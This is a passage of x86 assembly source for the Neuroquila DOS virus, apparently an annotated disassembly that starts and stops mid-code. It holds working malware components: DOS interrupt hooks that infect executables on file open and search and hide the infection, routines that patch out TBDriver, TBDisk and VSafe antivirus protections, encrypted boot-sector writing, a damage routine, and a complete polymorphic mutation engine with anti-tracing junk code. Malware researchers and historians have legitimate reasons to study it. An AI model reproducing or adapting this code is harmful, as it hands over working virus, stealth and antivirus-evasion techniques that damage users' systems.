es ; Copy filename, find last '\' and save position to last_backslash_pos mov si,dx mov di,offset filename mov cx,di next2_filename_char: lodsb stosb cmp al,'\' jnz no_backslash mov cx,di no_backslash: or al,al jnz next2_filename_char assume ds:nothing mov last_backslash_pos,cx call reg_restore assume ds:code2 dosf_4f: add sp,6 int 21h jb @@167 push ax call check_filesize jb open2_failure push ds lea si,[bx+1eh] ; mov di,offset filename db 0BFh last_backslash_pos dw offset filename mov dx,offset filename mov cx,0dh push cs pop es rep movsb ; copy file name (without path) pop es push cs pop ds mov si,bx infect_fcb_file: mov ax,3d00h call do_int21 ; open file for reading jb open2_failure xchg bx,ax call dosf_4c call chk4infection pushf mov ah,3eh int 21h ; close the file popf jnz open2_failure mov ax,l_org_fsize mov word ptr es:[si+1ah],ax mov ax,h_org_fsize mov word ptr es:[si+1ch],ax open2_failure: pop ax clc @@167: push ax call restreg_and_prep_leaving pop ax retf 2 dosf_11_12: nop add sp,6 int 21h ; do search file cmp al,0 jnz @@167 push ax call check_filesize jb open2_failure push cs pop es lea si,[bx-2] mov di,offset head_buff mov dx,di cld mov cx,8 call find_space mov al,'.' stosb lea si,[bx+6] mov cl,3 call find_space mov al,0 stosb push ds pop es jmp infect_fcb_file find_space: lodsb cmp al,20h jz found_space stosb loop find_space found_space: ret assume ds:nothing check_filesize: mov ah,2fh int 21h ; Get DTA push es pop ds cmp byte ptr [bx],0ffh ; extended FCB ? jnz @@172 ; No add bx,7 ; adjust offset @@172: cmp byte ptr save_ax+1,12h ; was it FCB find ? ja @@173 ; no add bx,3 ; adjust offset @@173: mov al,[bx+1ah] ; file size and al,1fh ; mask 5 lower bits cmp al,1fh ; all setted ? jz @@174 ; file maybe infected stc ret @@174: cmp word ptr [bx+1ch],0 jnz @@175 cmp word ptr [bx+1ah],2711h @@175: ret assume ds:code2 chk4infection: mov ax,4400h int 21h ; read IOCTL-attributes test al,80h ; *** should better use dl ; device is a char-device ? jnz not_exe ; Yes push cs pop ds mov al,1 call seek jb not_exe mov l_org_fpos,ax mov h_org_fpos,dx ; cmp bl,0 db 80h,0FBh file_handle db 0 jz allready_read mov ax,4202h mov cx,0ffffh mov dx,0ffdch int 21h mov file_handle,bl mov ah,3fh mov cx,extra_size mov dx,offset head_buff int 21h call endecrypt_head restore_old_fpos: mov ax,4200h ; mov dx,2b04h db 0BAh l_org_fpos dw ? ; mov cx,0 db 0B9h h_org_fpos dw ? int 21h allready_read: cmp byte ptr head_buff,5ah jz exe_file cmp byte ptr head_buff,4dh jnz not_exe exe_file: push ax mov ax,head_encr_val neg ax add al,ah cmp al,marker pop ax not_exe: ret assume ds:nothing ; Fixes the problem of seeks from the fileend dosf_42: cmp al,2 ; seek from end of file ? jnz not_exe ; No call chk4infection jnz not_exe ; file is not infected add sp,6 call reg_restore push cx mov al,0 ; seek from filebegin instead mov cx,h_org_fsize mov dx,l_org_fsize add dx,save_dx adc cx,0 add cx,save_cx ; org filesize + seek offset int 21h call prepare_leave_int21 pop cx jmp leave_int21 assume ds:code2 dosf_3f: ; Makes it impossible to read after the end of the original file push cx call chk4infection pop bp jnz not_exe ; file is not infected add sp,6 mov si,offset head_buff sub ax,[si+1eh] ; actual filepos < original filesize ? sbb dx,0 sub dx,[si+20h] js @@183 ; yes call restreg_and_prep_leaving sub ax,ax ; nothing read due end of file clc jmp leave_int21 @@183: add ax,bp adc dx,0 jnz @@184 sub bp,ax ; byte left to read @@184: push bp call reg_restore pop cx int 21h ; read up to original filesize pushf push ax jb no_header_read ; fix header entries read push ds pop es mov di,dx push cs pop ds mov si,offset head_buff cmp h_org_fpos,0 jnz no_header_read mov ax,l_org_fpos cmp ax,18h jnb no_header_read add si,ax add cx,ax cmp cx,18h jbe @@186 sub ax,18h neg ax xchg cx,ax @@186: cld rep movsb no_header_read: call restreg_and_prep_leaving pop ax popf leave_int21: retf 2 assume ds:nothing dosf_3e: dosf_4c: mov file_handle,0 ; saved header not read yet mov head_encr_val,0 ; no encryption of saved header yet ret dosf_44: cmp al,52h ; get DR-DOS version ? jnz no_DRDOS ; no dosf_32: mov byte ptr dosf_11_12,switch_off ; no infection on FCB file-search no_DRDOS: ret ;assume ds:nothing patch_new_intcode: cmp ah,25h jnz @@19 dosf_25: mov si,dx cmp word ptr [si],30CDh jnz int01patches lds dx,dword ptr tunneled_ofs push ds pop es mov ax,dx mov bh,13h xchg bx,ax int 2Fh ; set disk interrupt handler mov ax,word ptr ds:[0FFFFh] ; This will cause CPU exception jmp $ ; This will crash the CPU int01patches: mov ax,word ptr ds:[si] cmp al,0EBh ; JMP disp8 ? jnz not_TBDriver ; No cmp word ptr ds:[si+7],09CFAh ; CLI; PUSHF ? jnz not_TBDriver ; No cmp word ptr ds:[si+9],053FCh ; CLD; PUSH BX ? jnz not_TBDriver ; No mov byte ptr ds:[si],0A8h ; replace with TEST AL,value8 ; TBDriver Int 21h patch ; this patches out the trace-mode detection for int 21h not_TBDriver: cmp ax,09CFAh ; CLI; PUSHF ? jnz not_TBDisk ; No cmp word ptr ds:[si+4],006F6h ; TEST [value16],value8 jnz not_TBDisk ; No mov byte ptr ds:[si+9],0EBh ; TBDisk Int 13h patch ; disables int 13h tests of TBDisk not_TBDisk: ; Check for smartdrv ??? ; But not for version 5.0 ! cmp ax,0832Eh ; CS:; some byte operation ? jnz @@16 ; No cmp word ptr ds:[si+9],05550h ; PUSH AX; PUSH BP ? jnz @@16 ; No cmp byte ptr ds:[si+016eh],0e8h ; CALL disp16 ? jnz @@16 ; No mov byte ptr ds:[si+016eh],0c3h ; replace CALL with retn @@16: cmp ax,030CDh jnz @@18 jmp $ @@18: cmp ax,02EFBh ; STI; CS: ? jnz @@20 ; No cmp word ptr ds:[si+7],00375h ; JNZ $+5 ? jnz @@19 ; No cmp word ptr ds:[si+0dh],0FAFCh ; CLD; CLI ? jnz @@19 ; No mov byte ptr ds:[si+8],0 ; JNZ $+5 -> JNZ $+2 @@19: ret @@20: cmp ax,0EB9Ch ; PUSHF; JMP disp16 ? jnz @@19 ; No cmp word ptr [si+2],08000h ; JMP $+2; some byte op. ? jnz @@19 ; No mov byte ptr [si+7],0 ; fix something but what ??? ret assume ds:code2 dosf_40: ; Disinfect infected files before writing to them call chk4infection jnz @@19 ; file is not infected call seek_to_begin ; seek to begin of file mov si,offset head_buff call write_25byte_to_file ; restore first 19h byte of file jb @@189 mov ax,4200h mov cx,h_org_fsize mov dx,l_org_fsize ; seek to original filesize int 21h mov ah,40h xor cx,cx ; truncate file here ??? call do_int21 @@189: jmp restore_old_fpos ;---------------------------------------------------------------------------------------; ; Virus' int13-tools ; ;---------------------------------------------------------------------------------------; assume ds:nothing write_1_sect: mov ax,301h ; write one sector call_int13: push bx xor bx,bx call switch_vsafe ; switch vsafe off pop bx cli pushf call dword ptr tunneled_ofs push bx pushf call restore_vsafe ; switch vsafe on popf pop bx ret write_to_file: mov ah,40h do_int21: cli pushf call dword ptr tun21_ofs ret ;---------------------------------------------------------------------------------------; ; En-/Decryption tools for the boot/MBR part of the virus ; ;---------------------------------------------------------------------------------------; crypted_int13: call encrypt_sector call call_int13 ; Encrypt 200h bytes at ds:bx (es=ds) encrypt_sector: pusha mov si,bx mov di,bx mov cl,dh mov dx,0DEADh ; initial encryption value shl dx,cl mov cx,0ffh encrypt_next_word: db 26h ; ES: lodsw xor ax,dx add dx,07fh ; modify the encryption value stosw loop encrypt_next_word popa ret endecrypt_head: pusha mov si,dx mov bl,ds:[si+23h] dec cx encrypt_next_byte: lodsb xor al,bl add bl,cl mov byte ptr [si-1],al loop encrypt_next_byte popa ret ;---------------------------------------------------------------------------------------; ; The Damage-function of Neuroquila ; ;---------------------------------------------------------------------------------------; ;assume ds:nothing damage_switch: db switch_off ; ret is patched away to enable pusha ; the damage function ; mov cx,1 db 0B9h damage_delay dw 1 loop $ inc byte ptr damage_delay jnz no_damage_yet mov ax,3 int 10h ; set video mode 3 mov ah,2 mov bh,0 mov dx,0C03h ; row 12 column 3 int 10h mov si,offset havoc_text next_output_char: db 2Eh ; CS: lodsb xor al,0f5h int 29h ; fast console output of char in AL or al,al jnz next_output_char cbw int 16h ; wait for key no_damage_yet: popa ret ;---------------------------------------------------------------------------------------; ; Text coded with simple XOR key F5 ; by Neurobasher'93/Germany -GRIPPED-BY-FEAR-UNTIL-DEATH-US-DO-PART- ;---------------------------------------------------------------------------------------; havoc_text: db 0C9h, 0BDh, 0B4h, 0A3h, 0BAh, 0B6h, 0CBh, 0D5h, 097h, 08Ch, 0D5h, 0BBh, 090h db 080h, 087h, 09Ah, 097h, 094h, 086h, 09Dh, 090h, 087h, 0D2h, 0CCh, 0C6h, 0DAh db 0B2h, 090h, 087h, 098h, 094h, 09Bh, 08Ch, 0D5h, 031h, 0B2h, 0A7h, 0BCh, 0A5h db 0A5h, 0B0h, 0B1h, 031h, 0B7h, 0ACh, 031h, 0B3h, 0B0h, 0B4h, 0A7h, 031h, 0A0h db 0BBh, 0A1h, 0BCh, 0B9h, 031h, 0B1h, 0B0h, 0B4h, 0A1h, 0BDh, 031h, 0A0h, 0A6h db 031h, 0B1h, 0BAh, 031h, 0A5h, 0B4h, 0A7h, 0A1h, 031h, 0F5h ;---------------------------------------------------------------------------------------; ; The Mutation-Engine of Neuroquila ; ;---------------------------------------------------------------------------------------; ; ES = BE00 - working segment ; DI = 0000 ; "[bp+4]" means thhe value stored in [bp+4] is inserted directly assume ds:code2 mutate: pusha ; copy whole virus xor si,si mov cx,offset memory_top rep movsb ; init the engine mov si,offset engine_data sub di,di xor ax,ax mov encr_val2,ax mov encr_val_method_of_modify,35h ; XOR AX, mov encr_val_modifier,ax mov word ptr [si+ offset encr_opcode3 - offset engine_data],9090h ; NOP; NOP mov byte ptr [si+ offset encr_opcode2 - offset engine_data],05h mov ah,2Ch int 21h ; Get time mov [si+ offset time - offset engine_data],cx ; hour and minute mov [si+ offset time - offset engine_data +2],dx ; second and msec mov ah,2Ah int 21h ; Get date mov [si+ offset date - offset engine_data],cx ; Year mov [si+ offset date - offset engine_data +2],al ; Day of week push dx ; Month and day of Month mov ah,0 int 1ah ; read timer xchg bp,cx pop cx xchg si,bx cld mov ax,cx add ax,dx xor ax,bp mov [bx+ offset modifier_value - offset engine_data],ax mov ax,dx or ax,bp rol ax,1 neg ax mov [bx+ offset encr_val1 - offset engine_data],ax mov [bx+ offset encr_val2 - offset engine_data],ax ; Write register inits ; push word ptr offset init_addr db 68h init1 dw offset init_addr ; push word ptr offset init_encr_val db 68h init2 dw offset init_encr_val ; mov ax,offset init_ds db 0B8h init3 dw offset init_ds call ax pop ax call ax pop ax call ax ; Change position of register-inits for next run mov ax,init1 xchg ax,init2 xchg ax,init3 test cl,1 jz permutate_inits xchg ax,init2 permutate_inits: mov init1,ax ; mov al,0fh call gen_limit_junk ; Save loop-begin mov [bx+ offset loop_begin_pos - offset engine_data],di ; Choose carry-flag setting for encryption mov si,cx and si,07h shl si,1 cmp si,6 jb no_clc_stc cmp si,8 ja no_clc_stc mov al,0f8h ; CLC test ch,2 jz put_clc inc ax ; STC put_clc: stosb mov [bx + offset encryption_loop - offset engine_data],al ; Generate CS: or not no_clc_stc: test byte ptr [bx+offset int21_counter - offset engine_data],3 ; [bx+9] jnz no_cs_pref mov al,2eh ; CS: stosb no_cs_pref: test byte ptr [bx+ offset time - offset engine_data],3 ; [bx+3] jnz no_81h_pref add si,10h ; 0-8 without prefix 81h cmp si,18h ja no_81h_pref ; 9-11 with pref. and 12-15 without mov al,81h stosb no_81h_pref: call word ptr [bx+si+ offset encryption_table - offset engine_data] mov ax,offset gen_addr_inc mov si,offset gen_modifier test dl,1 jnz @@205 xchg si,ax @@205: push si call ax pop ax call ax mov al,0fh call gen_limit_junk mov si,[bx+ offset int13_counter - offset engine_data] and si,3 shl si,1 ; genrate the address-compare call word ptr [bx+si+ offset tbl_adr_cmp - offset engine_data] ;[bx+si-28h] ; call genjunk_9 mov al,[bx+ offset time - offset engine_data + 2] and ax,3 xchg si,ax add si,offset first_jmp_table movsb mov [bx+ offset cond_jmp_pos - offset engine_data],di stosb call genjunk_9 cmp bp,13h jb second_cond_jmp_method test byte ptr [bx+ offset time - offset engine_data],3 jnz second_cond_jmp_method mov ax,0C933h ; XOR CX,CX stosw mov al,0e3h ; JCXZ ? stosb jmp cond_jmp_done second_cond_jmp_method: mov si,[bx+ offset time - offset engine_data + 3] and si,3 add si,offset second_jmp_table movsb cond_jmp_done: mov ax,[bx+ offset loop_begin_pos - offset engine_data] sub ax,di dec ax cmp byte ptr es:[di-1],0e9h ; JMP NEAR ? jz jmp_near ; Yes stosb ; else JMP SHORT jmp looping_jmp_done jmp_near: dec ax stosw looping_jmp_done: push di mov al,68h ; PUSH word stosb mov ax,[bx+ offset @@145 - offset engine_data] add ax,offset vir_start stosw mov al,0C3h ; RET stosb pop di mov ax,[bx+ offset cond_jmp_pos - offset engine_data] mov si,ax neg ax add ax,di dec ax mov es:[si],al mov ax,offset init_ds + 100h mov si,[bx+ offset cmp_addr_pos - offset engine_data] sub ax,di add ax,[bx+ offset @@145 - offset engine_data] mov es:[si],ax mov si,[bx+ offset init_addr_pos - offset engine_data] mov ax,di add ax,[bx+ offset @@145 - offset engine_data] mov cx,5 push es pop ds test_for_lower_byte: cmp byte ptr [si],0FEh jnz test_for_higher_byte mov byte ptr [si],al test_for_higher_byte: cmp byte ptr [si],0FFh jnz not_higher_byte mov byte ptr [si],ah not_higher_byte: inc si loop test_for_lower_byte ; mov ax,7682h db 0B8h encr_val2 dw 7682h ; Encrypt the virus-body itself encryption_loop: clc ; sub [di],ax encr_opcode1 db 29h encr_opcode2 db 05h encr_opcode3 dw 9090h ; nop; nop inc di inc di ; xor ax,0 encr_val_method_of_modify db 35h encr_val_modifier dw ? cmp di,offset my_size+1 jb encryption_loop popa ret encryption_table dw offset gen_xor_encryption dw offset gen_add_encryption dw offset gen_sub_encryption dw offset gen_adc_encryption dw offset gen_sbb_encryption dw offset gen_not_encryption dw offset gen_neg_encryption dw offset gen_rol_ror_encryption dw offset gen_direct_xor_encryption dw offset gen_direct_add_encryption dw offset gen_direct_sub_encryption dw offset gen_direct_adc_encryption dw offset gen_direct_sbb_encryption dw offset gen_not_encryption dw offset gen_neg_encryption dw offset gen_rol_ror_encryption modifier_table dw offset gen_add_sub_modifier dw offset gen_add_sub_modifier dw offset gen_xor_modifier dw offset gen_rol_ror_modifier addr_increase_table dw offset gen_two_inc_addr dw offset gen_add_addr dw offset gen_sub_addr dw offset gen_lea_addr ; Table for addresscompare tbl_adr_cmp dw offset gen_direct_addr_cmp dw offset gen_sub_addr_cmp dw offset gen_negadd_addr_cmp dw offset gen_si_to_ax_addr_cmp set_reg_table dw offset set_reg1 ; 0E78 dw offset set_reg2 ; 0E7A dw offset set_reg3 ; 0E7E dw offset set_reg4 ; 0E80 si_to_ax db 08Bh, 0C6h ; MOV AX,SI db 089h, 0F0h ; MOV AX,SI db 08Dh, 004h ; LEA AX,[SI] db 056h, 058h ; PUSH SI ; POP AX first_jmp_table db 074h, 077h, 073h, 074h ; je/ja/jnb/je second_jmp_table db 0EBh, 075h, 0E9h, 072h ; jmp8/jnz/jmp16/jb cs_to_ds dw offset init_ds3 dw offset init_ds1 dw offset init_ds2 dw offset init_ds2 engine_data: date db ?,?,? time db ?,?,?,? int13_counter dw ? int21_counter dw ? loop_begin_pos dw ? cond_jmp_pos dw ? init_addr_pos dw ? cmp_addr_pos dw ? @@145 dw ? si_di_bx db 6, 7, 3, 3 addr_regs db 4, 5, 7, 7 ; [si], [di] or [bx] encr_reg1 db 1, 2, 5 ; cx, dx or bp encr_reg2 db 08h, 10h, 28h ; cx, dx or bp in XOR @@393 db 74h, 7dh, 5fh, 5fh junk_table dw offset junk_0 ; nothing dw offset junk_1 ; CLD dw offset junk_2 ; LEA AX,[random16] dw offset junk_3 ; STD dw offset junk_4 ; MOV AH,random8 dw offset junk_5 ; CLI dw offset junk_6 ; STI dw offset junk_7 ; MOV AL,random8 dw offset junk_8 ; MOV AX,random_reg16 dw offset junk_9 ; MOV AX,random16 dw offset junk_a ; NOP dw offset junk_b ; CBW dw offset junk_c ; AND AX,random16 dw offset junk_d ; OR AX,random16 dw offset junk_e ; MOV AH,4Dh; INT 21h dw offset junk_f ; CLC; JNC $+3; JMP xxxx:xxxx ;=======================================================================; ; Functions for modifying the encryption value I ; ;=======================================================================; ;-----------------------------------------------; ; Generate ADD/SUB encr_val,[modifier_value] ; ;-----------------------------------------------; gen_add_sub_modifier: mov ax,05C0h test dh,1 jz gen_add_modifier mov ax,2DE8h gen_add_modifier: call insert_encr_reg1 mov [bx+ offset encr_val_method_of_modify - offset engine_data],ah ; mov ax,45CCh db 0B8h modifier_value dw 45CCh stosw mov [bx+ offset encr_val_modifier -offset engine_data],ax ret ;----------------------------------------; ; Generate XOR encr_val,[modifier_value] ; ;----------------------------------------; gen_xor_modifier: mov ax,35F0h jmp gen_add_modifier ; here a xor-modifier is generated ; instead ;=======================================================================; ; Functions for de/encryption I ; ;=======================================================================; ;---------------------------------------; ; Generate XOR [],encr_val ; ;---------------------------------------; gen_direct_xor_encryption: mov al,30h call insert_addr_reg2 mov byte ptr [bx+ offset encr_opcode1 - offset engine_data],31h put_encryption_value: ; mov ax,7682h db 0B8h encr_val1 dw 7682h stosw ret ;=======================================================================; ; Functions for modifying the encryption value II ; ;=======================================================================; ;---------------------------------------; ; Generate ROL/ROR encr_val,1 ; ;---------------------------------------; gen_rol_ror_modifier: dec di mov al,0D1h stosb mov [bx+ offset encr_val_method_of_modify - offset engine_data],al ; ROx AX,1 mov ax,0C0C0h ; ROL test dh,1 jz gen_rol_modifier mov ax,0C8C8h ; ROR gen_rol_modifier: call insert_encr_reg1 mov al,90h xchg al,ah mov [bx+ offset encr_val_modifier - offset engine_data],ax ; => ROx AX,1; NOP ret ;=======================================================================; ; Functions for de/encryption II ; ;=======================================================================; ;---------------------------------------; ; Generate ADD [],encr_val ; ;---------------------------------------; gen_direct_add_encryption: mov al,0 ; ADD gen_direct_add_sub_encryption: call insert_addr_reg2 xor al,28h @@335: and al,0F8h inc ax mov [bx+ offset encr_opcode1 - offset engine_data],al jmp put_encryption_value ;---------------------------------------; ; Generate SUB [],encr_val ; ;---------------------------------------; gen_direct_sub_encryption: mov al,28h ; SUB jmp gen_direct_add_sub_encryption ;---------------------------------------; ; Generate ADC [],encr_val ; ;---------------------------------------; gen_direct_adc_encryption: mov al,10h ; ADC gen_direct_adc_sbb_encryption: call insert_addr_reg2 xor al,8 jmp @@335 ;---------------------------------------; ; Generate SBB [],encr_val ; ;---------------------------------------; gen_direct_sbb_encryption: mov al,18h ; SBB jmp gen_direct_adc_sbb_encryption insert_encr_reg1: mov si,[bx+ offset time - offset engine_data] and si,3 add al,byte ptr [bx+si+ offset encr_reg1-1 - offset engine_data] ;[bx+si+1ch] stosb ret insert_addr_reg1: mov si,dx and si,3 add al,byte ptr [bx+si+ offset si_di_bx - offset engine_data] stosb ret insert_addr_reg2: mov si,dx and si,3 add al,[bx+si + offset addr_regs - offset engine_data] stosb ret ;---------------------------------------; ; Generate XOR [ ],(cx/dx/bp) ; ;---------------------------------------; gen_xor_encryption: mov al,31h stosb mov [bx+ offset encr_opcode1 - offset engine_data],al insert_encr_reg2: mov al,0 mov si,[bx+ offset time - offset engine_data] and si,3 add al,[bx+si+ offset encr_reg2-1 - offset engine_data] ;[bx+si+1fh] jmp insert_addr_reg2 ;---------------------------------------; ; Generate ADD [ ],(cx/dx/bp) ; ;---------------------------------------; gen_add_encryption: mov al,1 ; ADD add_sub_encr: stosb xor al,28h ; ADD->SUB , SUB-> ADD for encryption mov [bx+ offset encr_opcode1 - offset engine_data],al jmp insert_encr_reg2 ;---------------------------------------; ; Generate ADD [ ],(cx/dx/bp) ; ;---------------------------------------; gen_sub_encryption: mov al,29h ; SUB jmp add_sub_encr ;---------------------------------------; ; Generate ADC [ ],(cx/dx/bp) ; ;---------------------------------------; gen_adc_encryption: mov al,11h ; ADC adc_sbb_encr: stosb xor al,8 ; ADC -> SBB, SBB -> ADC for encryption mov [bx+ offset encr_opcode1 - offset engine_data],al jmp insert_encr_reg2 ;---------------------------------------; ; Generate SBB [ ],(cx/dx/bp) ; ;---------------------------------------; gen_sbb_encryption: mov al,19h ; SBB jmp adc_sbb_encr ;---------------------------------------; ; Generate NOT word ptr [ ] ; ;---------------------------------------; gen_not_encryption: mov ax,15F7h ; NOT WORD PTR [DI] stosb mov [bx+ offset encr_opcode1 - offset engine_data],ax mov al,10h ; NOT WORD PTR [?] jmp insert_addr_reg2 ;---------------------------------------; ; Generate NEG word ptr [ ] ; ;---------------------------------------; gen_neg_encryption: mov ax,1DF7h ; NEG WORD PTR [DI] stosb mov [bx+ offset encr_opcode1 - offset engine_data],ax mov al,18h ; NEG WORD PTR [?] jmp insert_addr_reg2 ;---------------------------------------; ; Generate ROL/ROR word ptr [ ],1 ; ;---------------------------------------; gen_rol_ror_encryption: mov al,0D1h ; ROL stosb mov [bx+ offset encr_opcode1 - offset engine_data],al mov al,0 test bp,1 jz gen_rol_encryption xor al,8 ; ROR gen_rol_encryption: call insert_addr_reg2 and al,8 or al,5 ; use [DI] for encryption xor al,8 ; ROL <-> ROR for encryption mov [bx+ offset encr_opcode2 - offset engine_data],al ret ;=======================================================================; ; Functions for increasing the address by 2 ; ;=======================================================================; ;---------------------------------------; ; Generate 2x INC addr_reg ; ;---------------------------------------; gen_two_inc_addr: test cl,5 jz gen_alt_two_inc_addr mov al,40h call insert_addr_reg1 push ax mov al,0fh call gen_limit_junk pop ax stosb ret gen_alt_two_inc_addr: mov al,0FFh stosb mov al,0C0h call insert_addr_reg1 mov ax,word ptr es:[di-2] stosw ret ;---------------------------------------; ; Generate ADD addr_reg,word/byte ptr 2 ; ;---------------------------------------; gen_add_addr: mov ah,0C0h call gen_word_byte_prefix prepare_word_byte_choose: mov al,2 jmp word_byte_choose ;-----------------------------------------; ; Generate SUB addr_reg,word/byte ptr -2 ; ;-----------------------------------------; gen_sub_addr: mov ah,0E8h call gen_word_byte_prefix mov al,0FEh word_byte_choose: test dh,3 jz put_opcode_byte cbw stosw ret ;---------------------------------------; ; Generate ADD/SUB addr_reg,? ; ;---------------------------------------; gen_word_byte_prefix: mov al,83h test dh,3 jz gen_byte_prefix xor al,2 gen_byte_prefix: stosb mov al,ah jmp insert_addr_reg1 ;-----------------------------------------------; ; Generate LEA addr_reg,[addr_reg+ byte/word 2] ; ;-----------------------------------------------; gen_lea_addr: mov al,8Dh stosb mov si,dx and si,3 mov al,[bx+si+ offset @@393 - offset engine_data] test dh,3 jz @@347 add al,40h @@347: stosb jmp prepare_word_byte_choose ;=======================================================================; ; The functions for the address-compare ; ;=======================================================================; ;---------------------------------------; ; Generate CMP (si/di/dx),data16 ; ;---------------------------------------; gen_direct_addr_cmp: mov al,81h stosb mov al,0F8h ; CMP reg16, call insert_addr_reg1 ; choose reg save_cmp_adr: mov [bx+ offset cmp_addr_pos - offset engine_data],di ; [bx+11h] stosw ret ;---------------------------------------; ; Generate SUB ax,(si/di/dx) ; CMC ; ;---------------------------------------; gen_sub_addr_cmp: mov al,0B8h ; MOV AX, stosb call save_cmp_adr ; save position and keep 2 bytes free mov al,2Bh ; SUB stosb insert_addr_reg3: mov al,0C0h call insert_addr_reg1 ; insert reg from si_di_bx mov al,0F5h ; CMC put_opcode_byte: stosb ret ;---------------------------------------; ; Generate NEG ax; ADD ax,(si/di/dx) ; ;---------------------------------------; gen_negadd_addr_cmp: mov al,0B8h ; MOV AX, stosb call save_cmp_adr ; Save position and keep 2 byte free mov ax,0D8F7h ; NEG AX stosw mov al,3 ; ADD AX, stosb jmp insert_addr_reg3 ;-----------------------------------------------; ; Generate ; ; ( MOV AX,SI / LEA AX,[SI] / PUSH SI; POP AX ) ; ; ; CMP AX,value16 ; ;-----------------------------------------------; gen_si_to_ax_addr_cmp: mov ax,dx and al,3 jnz gen_direct_addr_cmp ; if not si mov si,[bx+offset int21_counter - offset engine_data] ;[bx+9] and si,3 shl si,1 add si,offset si_to_ax movsw ; any of the methods to put value of SI into AX mov al,3Dh stosb ; cmp ax,value16 jmp save_cmp_adr ; save position ;=======================================================================; ; The functions for the address-init ; ;=======================================================================; ;---------------------------------------; ; Generate MOV reg16,value16 ; ;---------------------------------------; set_reg1: mov al,0B8h ; MOV reg16,value16 insert_mov_reg16: add al,[bp+2] ; reg16 insert_mov_value16: stosb ; store 2nd byte of opcode mov ax,[bp+4] ; value16 stosw ; store it ret ;---------------------------------------; ; Generate MOV reg16,value16 ; ;---------------------------------------; set_reg2: mov al,0C7h stosb mov al,0C0h jmp insert_mov_reg16 ;----------------------------------------; ; Generate LEA reg16,["word ptr [bp+4]"] ; ; reg16 - [bp+6] ; ;----------------------------------------; set_reg3: mov al,8Dh ; LEA stosb mov al,[bp+2] ; reg16 cbw shl ax,3 add al,6 ; LEA ..,[address] jmp insert_mov_value16 ; store second byte of opcode ; and the address from [bp+4] ;---------------------------------------; ; Generate Register-Init ; ; Input: ; ; byte ptr [bp+2] ; ; [ 0 AL,AH ] ; ; 1 CL,CH ; ; 2 DL,DH ; ; 3 BL,BH ; ; [ 4 not suitable ] ; ; 5 PUSH value16; POP BP ; ; 6 PUSH value16; POP SI ; ; 7 PUSH value16; POP DI ; ; bit 1 of DI ; ; decides which of the 8 bit regs is ; ; installed first ([bp+2]=0..3) ; ; 1 = higher one first ; ; [] here means never called with this ; ; value ; ; 1,2,5 used for encryption value ; ; 3,4,7 used for address value ; ;---------------------------------------; set_reg4: cmp byte ptr [bp+2],4 ja push_pop_reg_set ; only for BP,SI and DI mov al,0B0h ; MOV reg8,"byte ptr [bp+4]" (al,cl,dl,bl) mov ah,[bp+4] ; lower byte of 16bit value add al,[bp+2] xchg si,ax mov al,0B4h ; MOV reg8,"byte ptr [bp+4]" (ah,ch,dh,bh) mov ah,[bp+5] ; higher byte of 16bit value add al,[bp+2] test di,1 ; Bit 1 of DI setted = init higher byte jnz higher_byte_first xchg si,ax higher_byte_first: stosw xchg si,ax stosw ; put the opcode ret push_pop_reg_set: ; Generate ; 1. PUSH "word ptr [bp+4]" ; 2. POP "reg16 = byte ptr [bp+2]" mov al,68h ; PUSH value16 stosb mov ax,[bp+4] ; value16 stosw mov al,58h ; POP reg16 add al,[bp+2] ; reg16 stosb ret ;========================================================================== ; Functions for junk-instructions ;========================================================================== genjunk_9: ; Generate only junk that does not change used flags mov al,9 gen_limit_junk: ; called with al=0fh means all junk codes possible cbw xchg si,ax test_junk_limit: call random and ax,0fh cmp ax,si ja test_junk_limit shl ax,1 xchg si,ax jmp word ptr [bx+si+ offset junk_table - offset engine_data] random: push bx push ds push cs pop ds ; mov bx,0497h db 0BBh rand_seed dw 0497h mov ax,[bx] pop ds assume ds:nothing inc bx add bx,di and bh,1fh mov rand_seed,bx pop bx ret ; 10E9 ;---------------------------------------; ; Generate CLD ; ;---------------------------------------; junk_1: mov al,0FCh stosb ;---------------------------------------; ; Generate nothing ; ;---------------------------------------; junk_0: ret ;---------------------------------------; ; Generate STD ; ;---------------------------------------; junk_3: mov al,0FDh stosb ret ;---------------------------------------; ; Generate NOP ; ;---------------------------------------; junk_a: mov al,90h stosb ret ;---------------------------------------; ; Generate CLI ; ;---------------------------------------; junk_5: mov al,0FAh stosb ret ;---------------------------------------; ; Generate STI ; ;---------------------------------------; junk_6: mov al,0FBh stosb ret ; never used !!! ret ; maybe thought for junk_0 ;---------------------------------------; ; Generate CBW ; ;---------------------------------------; junk_b: mov al,98h stosb ret ;---------------------------------------; ; Generate CLC; JNC $+3; JMP xxxx:xxxx ; ; x is code again ; ; it's like JUMP-virus :-) ; ;---------------------------------------; junk_f: mov ax,73F8h stosw mov ax,0EA01h stosw ret ;---------------------------------------; ; Generate MOV AL,random8 ; ;---------------------------------------; junk_7: mov al,0B0h put_random_byte_operation: stosb call random stosb ret ;---------------------------------------; ; Generate MOV AH,random8 ; ;---------------------------------------; junk_4: mov al,0B4h jmp put_random_byte_operation ;---------------------------------------; ; Generate MOV AX,random_reg16 ; ;---------------------------------------; junk_8: mov al,8Bh stosb call random and al,7 add al,0C0h stosb ret ;---------------------------------------; ; Generate MOV AX,random16 ; ;---------------------------------------; junk_9: mov al,0B8h put_junk_byte: stosb put_random_word: call random stosw ret ;---------------------------------------; ; Generate MOV AH,4Dh; INT 21h ; ; Call DOS-Function 'Get Exit-Code' ; ; This forces TBAV and earlier versions ; ; of AVP to stop tracing ; ;---------------------------------------; junk_e: mov ax,4DB4h stosw mov ax,21CDh stosw ret ;---------------------------------------; ; Generate LEA AX,[random16] ; ;---------------------------------------; junk_2: mov ax,068Dh stosw jmp put_random_word ;---------------------------------------; ; Generate AND AX,random16 ; ;---------------------------------------; junk_c: mov al,25h jmp put_junk_byte ;---------------------------------------; ; Generate OR AX,random16 ; ;---------------------------------------; junk_d: mov al,0Dh jmp put_junk_byte ;=========================================================================== ; Functions for register initialisation ;=========================================================================== init_ds: call genjunk_9 mov si,[bx+offset int21_counter - offset engine_data] ;[bx+9] and si,3 shl si,1 jmp word ptr [bx+si+offset cs_to_ds - offset engine_data] ; [bx+si-8] ;!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! ; Sub-functions for init_ds init_ds1: mov ax,0C88Ch ; MOV AX,CS stosw mov ax,0D88Eh ; MOV DS,AX stosw ret init_ds2: mov al,0eh ; PUSH CS stosb call genjunk_9 mov al,1fh ; POP DS stosb init_ds3: ret ;!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! init_encr_val: 